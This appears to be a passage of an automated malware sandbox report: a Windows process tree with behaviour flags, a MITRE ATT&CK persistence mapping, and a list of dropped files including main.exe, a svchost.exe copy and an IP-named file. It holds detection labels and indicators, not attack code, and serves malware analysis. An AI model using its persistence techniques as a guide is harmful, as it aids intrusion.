-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --mojo-platform-channel-handle=7388 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --mojo-platform-channel-handle=7956 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --mojo-platform-channel-handle=7460 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --mojo-platform-channel-handle=9440 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --mojo-platform-channel-handle=8024 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --mojo-platform-channel-handle=5996 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --mojo-platform-channel-handle=8100 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --mojo-platform-channel-handle=10540 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --mojo-platform-channel-handle=7120 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --mojo-platform-channel-handle=6932 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --mojo-platform-channel-handle=7884 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --mojo-platform-channel-handle=7500 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=105 --mojo-platform-channel-handle=2448 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=106 --mojo-platform-channel-handle=10540 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --mojo-platform-channel-handle=1576 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Checks SCSI registry key(s)
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc1⤵
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Registers COM server for autorun
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 27F8DA86BC3E14E0859DB441DBBC716E2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" -E -s -m ensurepip -U --default-pip3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpbd80rocc\\setuptools-65.5.0-py3-none-any.whl', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpbd80rocc\\pip-23.0.1-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpbd80rocc', '--upgrade', 'setuptools', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 488 -p 5868 -ip 58682⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\ad857bb719e14aeaae129fc77e9d37f1 /t 1948 /p 48602⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 520 -p 5704 -ip 57042⤵
-
-
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5704 -s 13282⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\werfault.exewerfault.exe /hc /shared Global\d80de0e475924616a1f98099bfd3b2c2 /t 0 /p 82642⤵
-
-
C:\Windows\system32\werfault.exewerfault.exe /hc /shared Global\7ae59a8b90ba44a4a063ef72ee4441ae /t 0 /p 80602⤵
-
-
C:\Windows\system32\werfault.exewerfault.exe /hc /shared Global\f6a713b3769d4441aab4b422310023b8 /t 0 /p 82282⤵
-
-
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca1⤵
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
e5a1021.rbs
e5a1026.rbs
e5a102b.rbs
e5a1030.rbs
e5a1035.rbs
e5a103a.rbs
e5a103f.rbs
e5a1044.rbs
e5a1049.rbs
e5a104e.rbs
e5a1053.rbs
191.101.209.39.txt
191.101.209.39.txt
main.exe
setup.exe
svchost.exe
шева.txt
settings.dat
f_00003f
f_000047
f_000056
f_000061
f_000070
f_000071
f_000072
963d4059ca308920_0
c78d5d19bb54aab6_0
d5e42077b85df235_0
e9f397fa87573734_0
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
data_1
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
e6a887d2-6b10-41f0-8590-e9d17435a49f.tmp
Local State
Local State
Local State
Local State
Local State
Local State
Module Info Cache
Module Info Cache
Module Info Cache
Module Info Cache~RFe582f68.TMP
thumbcache_idx.db
doc_JustForMe
lib_JustForMe
tcltk_JustForMe
pip.msi
dev.msi
test.msi
core.msi
exe.msi
edb.chk
BdfFontFile.py
BlpImagePlugin.py
BmpImagePlugin.py
BufrStubImagePlugin.py
ContainerIO.py
CurImagePlugin.py
DcxImagePlugin.py
DdsImagePlugin.py
EpsImagePlugin.py
ExifTags.py
FitsImagePlugin.py
FliImagePlugin.py
FontFile.py
FpxImagePlugin.py
FtexImagePlugin.py
GbrImagePlugin.py
GdImageFile.py
GifImagePlugin.py
GimpGradientFile.py
GimpPaletteFile.py
GribStubImagePlugin.py
Hdf5StubImagePlugin.py
IcnsImagePlugin.py
IcoImagePlugin.py
ImImagePlugin.py
Image.py
ImageChops.py
ImageCms.py
ImageColor.py
ImageDraw.py
ImageDraw2.py
ImageEnhance.py
ImageFile.py
ImageFilter.py
ImageFont.py
ImageGrab.py
ImageMath.py
ImageMode.py
ImageMorph.py
ImageOps.py
ImagePalette.py
ImagePath.py
ImageQt.py
ImageSequence.py
ImageShow.py
ImageStat.py
ImageTk.py
ImageTransform.py
ImageWin.py
ImtImagePlugin.py
IptcImagePlugin.py
Jpeg2KImagePlugin.py
JpegImagePlugin.py
JpegPresets.py
McIdasImagePlugin.py
MicImagePlugin.py
MpegImagePlugin.py
MpoImagePlugin.py
MspImagePlugin.py
PSDraw.py
PaletteFile.py
PalmImagePlugin.py
PcdImagePlugin.py
PcfFontFile.py
PcxImagePlugin.py
PdfImagePlugin.py
PdfParser.py
PixarImagePlugin.py
PngImagePlugin.py
PpmImagePlugin.py
PsdImagePlugin.py
PyAccess.py
QoiImagePlugin.py
SgiImagePlugin.py
SpiderImagePlugin.py
SunImagePlugin.py
TarIO.py
TgaImagePlugin.py
TiffImagePlugin.py
TiffTags.py
WalImageFile.py
WebPImagePlugin.py
WmfImagePlugin.py
XVThumbImagePlugin.py
XbmImagePlugin.py
XpmImagePlugin.py
__init__.py
__main__.py
_binary.py
_deprecate.py
_tkinter_finder.py
_typing.py
_util.py
_version.py
_webp.pyi
features.py
report.py
__init__.py
override.py
__init__.py
__init__.py
ctk_input_dialog.py
ctk_tk.py
ctk_toplevel.py
__init__.py
__init__.py
appearance_mode_base_class.py
appearance_mode_tracker.py
__init__.py
ctk_canvas.py
draw_engine.py
__init__.py
ctk_base_class.py
dropdown_menu.py
ctk_button.py
ctk_checkbox.py
ctk_combobox.py
ctk_entry.py
ctk_frame.py
ctk_label.py
ctk_optionmenu.py
ctk_progressbar.py
ctk_radiobutton.py
ctk_scrollable_frame.py
ctk_scrollbar.py
ctk_segmented_button.py
ctk_slider.py
ctk_switch.py
ctk_tabview.py
ctk_textbox.py
__init__.py
ctk_font.py
font_manager.py
__init__.py
ctk_image.py
__init__.py
scaling_base_class.py
scaling_tracker.py
__init__.py
theme_manager.py
__init__.py
utility_functions.py
__init__.py
__main__.py
_dummy.py
_linux_detect.py
_mac_detect.py
_windows_detect.py
__init__.py
_elffile.py
_manylinux.py
_musllinux.py
_parser.py
_tokenizer.py
markers.py
metadata.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
top_level.txt
__init__.py
__main__.py
__pip-runner__.py
__init__.py
build_env.py
cache.py
__init__.py
autocompletion.py
base_command.py
cmdoptions.py
command_context.py
main.py
main_parser.py
parser.py
progress_bars.py
req_command.py
spinners.py
status_codes.py
__init__.py
cache.py
check.py
completion.py
configuration.py
debug.py
download.py
freeze.py
hash.py
help.py
index.py
inspect.py
install.py
list.py
search.py
show.py
uninstall.py
wheel.py
configuration.py
__init__.py
base.py
installed.py
sdist.py
wheel.py
exceptions.py
__init__.py
collector.py
package_finder.py
sources.py
__init__.py
_distutils.py
_sysconfig.py
base.py
main.py
__init__.py
_json.py
base.py
__init__.py
_compat.py
_dists.py
_envs.py
pkg_resources.py
__init__.py
candidate.py
direct_url.py
format_control.py
index.py
installation_report.py
link.py
scheme.py
search_scope.py
selection_prefs.py
target_python.py
wheel.py
__init__.py
auth.py
cache.py
download.py
lazy_wheel.py
session.py
utils.py
xmlrpc.py
build_tracker.py
metadata.py
metadata_editable.py
metadata_legacy.py
wheel.py
wheel_editable.py
wheel_legacy.py
check.py
freeze.py
__init__.py
editable_legacy.py
legacy.py
wheel.py
prepare.py
pyproject.py
__init__.py
constructors.py
req_file.py
req_install.py
req_set.py
req_uninstall.py
base.py
resolver.py
base.py
candidates.py
factory.py
found_candidates.py
provider.py
reporter.py
requirements.py
resolver.py
self_outdated_check.py
_log.py
appdirs.py
compat.py
compatibility_tags.py
datetime.py
deprecation.py
direct_url_helpers.py
distutils_args.py
egg_link.py
encoding.py
entrypoints.py
filesystem.py
filetypes.py
glibc.py
hashes.py
inject_securetransport.py
logging.py
misc.py
models.py
packaging.py
setuptools_build.py
subprocess.py
temp_dir.py
unpacking.py
urls.py
virtualenv.py
wheel.py
__init__.py
bazaar.py
git.py
mercurial.py
subversion.py
versioncontrol.py
wheel_builder.py
__init__.py
__init__.py
_cmd.py
adapter.py
cache.py
__init__.py
file_cache.py
redis_cache.py
compat.py
controller.py
filewrapper.py
heuristics.py
serialize.py
wrapper.py
__init__.py
__main__.py
core.py
__init__.py
big5freq.py
big5prober.py
chardistribution.py
charsetgroupprober.py
charsetprober.py
chardetect.py
codingstatemachine.py
codingstatemachinedict.py
cp949prober.py
enums.py
escprober.py
escsm.py
eucjpprober.py
euckrfreq.py
euckrprober.py
euctwfreq.py
euctwprober.py
gb2312freq.py
gb2312prober.py
hebrewprober.py
jisfreq.py
johabfreq.py
johabprober.py
jpcntx.py
langbulgarianmodel.py
langgreekmodel.py
langhebrewmodel.py
langhungarianmodel.py
langrussianmodel.py
langthaimodel.py
langturkishmodel.py
latin1prober.py
macromanprober.py
mbcharsetprober.py
mbcsgroupprober.py
mbcssm.py
languages.py
resultdict.py
sbcharsetprober.py
sbcsgroupprober.py
sjisprober.py
universaldetector.py
utf1632prober.py
utf8prober.py
version.py
__init__.py
ansi.py
ansitowin32.py
initialise.py
__init__.py
ansi_test.py
ansitowin32_test.py
initialise_test.py
isatty_test.py
utils.py
winterm_test.py
win32.py
winterm.py
__init__.py
compat.py
database.py
index.py
locators.py
manifest.py
markers.py
metadata.py
resources.py
scripts.py
util.py
version.py
wheel.py
__init__.py
__main__.py
distro.py
__init__.py
codec.py
compat.py
core.py
idnadata.py
intranges.py
package_data.py
uts46data.py
__init__.py
exceptions.py
ext.py
fallback.py
markers.py
requirements.py
__init__.py
py31compat.py
__init__.py
__main__.py
android.py
api.py
macos.py
unix.py
version.py
windows.py
__init__.py
__main__.py
cmdline.py
console.py
filter.py
__init__.py
formatter.py
__init__.py
_mapping.py
bbcode.py
groff.py
html.py
img.py
irc.py
latex.py
other.py
pangomarkup.py
rtf.py
svg.py
terminal.py
terminal256.py
lexer.py
__init__.py
_mapping.py
python.py
modeline.py
plugin.py
regexopt.py
scanner.py
sphinxext.py
style.py
__init__.py
token.py
unistring.py
util.py
__init__.py
__init__.py
__init__.py
_compat.py
_impl.py
__init__.py
_in_process.py
__init__.py
__version__.py
_internal_utils.py
adapters.py
api.py
auth.py
certs.py
compat.py
cookies.py
exceptions.py
help.py
hooks.py
models.py
packages.py
sessions.py
status_codes.py
structures.py
utils.py
__init__.py
collections_abc.py
providers.py
reporters.py
resolvers.py
structs.py
__init__.py
__main__.py
_cell_widths.py
_emoji_codes.py
_emoji_replace.py
_export_format.py
_extension.py
_inspect.py
_log_render.py
_loop.py
_null_file.py
_palettes.py
_pick.py
_ratio.py
_spinners.py
_stack.py
_timer.py
_win32_console.py
_windows.py
_windows_renderer.py
_wrap.py
abc.py
align.py
ansi.py
bar.py
box.py
cells.py
color.py
color_triplet.py
columns.py
console.py
constrain.py
containers.py
control.py
default_styles.py
diagnose.py
emoji.py
errors.py
file_proxy.py
filesize.py
highlighter.py
json.py
jupyter.py
layout.py
live.py
live_render.py
logging.py
markup.py
measure.py
padding.py
pager.py
palette.py
panel.py
pretty.py
progress.py
progress_bar.py
prompt.py
protocol.py
region.py
repr.py
rule.py
scope.py
screen.py
segment.py
spinner.py
status.py
style.py
styled.py
syntax.py
table.py
terminal_theme.py
text.py
theme.py
themes.py
traceback.py
tree.py
six.py
__init__.py
_asyncio.py
_utils.py
after.py
before.py
before_sleep.py
nap.py
retry.py
stop.py
tornadoweb.py
wait.py
typing_extensions.py
__init__.py
_collections.py
_version.py
connection.py
connectionpool.py
_appengine_environ.py
bindings.py
low_level.py
appengine.py
ntlmpool.py
pyopenssl.py
securetransport.py
socks.py
exceptions.py
fields.py
filepost.py
makefile.py
six.py
poolmanager.py
request.py
response.py
__init__.py
connection.py
proxy.py
queue.py
request.py
response.py
retry.py
ssl_.py
ssl_match_hostname.py
ssltransport.py
timeout.py
url.py
wait.py
__init__.py
labels.py
mklabels.py
tests.py
x_user_defined.py
__init__.py
appdirs.py
__init__.py
_adapters.py
_common.py
_compat.py
_itertools.py
_legacy.py
abc.py
readers.py
simple.py
context.py
functools.py
__init__.py
__init__.py
more.py
recipes.py
__about__.py
__init__.py
_manylinux.py
_musllinux.py
_structures.py
markers.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
__init__.py
actions.py
common.py
core.py
__init__.py
exceptions.py
helpers.py
results.py
testing.py
unicode.py
util.py
zipp.py
__init__.py
__init__.py
aes.py
blockfeeder.py
util.py
WHEEL
__init__.py
_deprecation_warning.py
__init__.py
_collections.py
_functools.py
_macos_compat.py
_msvccompiler.py
archive_util.py
bcppcompiler.py
ccompiler.py
cmd.py
__init__.py
_framework_compat.py
bdist.py
bdist_dumb.py
bdist_rpm.py
build.py
build_clib.py
build_ext.py
build_py.py
build_scripts.py
check.py
clean.py
config.py
install.py
install_data.py
install_egg_info.py
install_headers.py
install_lib.py
install_scripts.py
py37compat.py
register.py
sdist.py
upload.py
config.py
core.py
cygwinccompiler.py
debug.py
dep_util.py
dir_util.py
dist.py
errors.py
extension.py
fancy_getopt.py
file_util.py
filelist.py
log.py
msvc9compiler.py
msvccompiler.py
py38compat.py
py39compat.py
spawn.py
sysconfig.py
text_file.py
unixccompiler.py
util.py
version.py
versionpredicate.py
_entry_points.py
_imp.py
_importlib.py
_itertools.py
_path.py
_reqs.py
__init__.py
_adapters.py
_collections.py
_compat.py
_functools.py
_itertools.py
_meta.py
_text.py
functools.py
__init__.py
__init__.py
more.py
recipes.py
ordered_set.py
markers.py
requirements.py
__init__.py
_parser.py
_re.py
_types.py
typing_extensions.py
archive_util.py
build_meta.py
__init__.py
alias.py
bdist_egg.py
bdist_rpm.py
build.py
build_clib.py
build_ext.py
build_py.py
develop.py
dist_info.py
easy_install.py
editable_wheel.py
egg_info.py
install.py
install_egg_info.py
install_lib.py
install_scripts.py
py36compat.py
register.py
rotate.py
saveopts.py
sdist.py
setopt.py
test.py
upload.py
upload_docs.py
__init__.py
_apply_pyprojecttoml.py
__init__.py
error_reporting.py
extra_validations.py
fastjsonschema_exceptions.py
fastjsonschema_validations.py
formats.py
expand.py
pyprojecttoml.py
setupcfg.py
dep_util.py
depends.py
discovery.py
dist.py
errors.py
extension.py
__init__.py
glob.py
installer.py
launch.py
logging.py
monkey.py
msvc.py
namespaces.py
package_index.py
py34compat.py
sandbox.py
unicode_utils.py
version.py
wheel.py
windows_support.py
__init__.py
_base_connection.py
_collections.py
_request_methods.py
_version.py
connection.py
connectionpool.py
__init__.py
connection.py
fetch.py
request.py
response.py
pyopenssl.py
socks.py
exceptions.py
fields.py
filepost.py
http2.py
poolmanager.py
response.py
__init__.py
connection.py
proxy.py
request.py
response.py
retry.py
ssl_.py
ssl_match_hostname.py
ssltransport.py
timeout.py
url.py
util.py
wait.py
__main__.py
__init__.py
pip3.10.exe
codecs.py
__init__.py
aliases.py
utf_8.py
python.exe
python310.dll
vcruntime140.dll
Python 3.10.11 (64-bit)_20240508150749_000_core_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_001_exe_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_002_dev_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_003_lib_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_004_test_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_005_doc_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_006_tools_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_007_tcltk_JustForMe.log
Python 3.10.11 (64-bit)_20240508150749_008_launcher_AllUsers.log
Python 3.10.11 (64-bit)_20240508150749_009_pip_JustForMe.log
_ctypes.pyd
_queue.pyd
_ssl.pyd
libffi-7.dll
libssl-1_1.dll
pyexpat.pyd
python3.dll
__PSScriptPolicyTest_k1jkwuru.h3o.ps1
h0cujs3t
__init__.py
distutils-precedence.pth
__init__.py
tarfile.py
_common.py
_compat.py
_legacy.py
abc.py
readers.py
simple.py
context.py
__init__.py
__init__.py
more.py
recipes.py
__init__.py
__main__.py
__init__.py
top_level.txt
__init__.py
_core_metadata.py
__init__.py
_collections.py
_functools.py
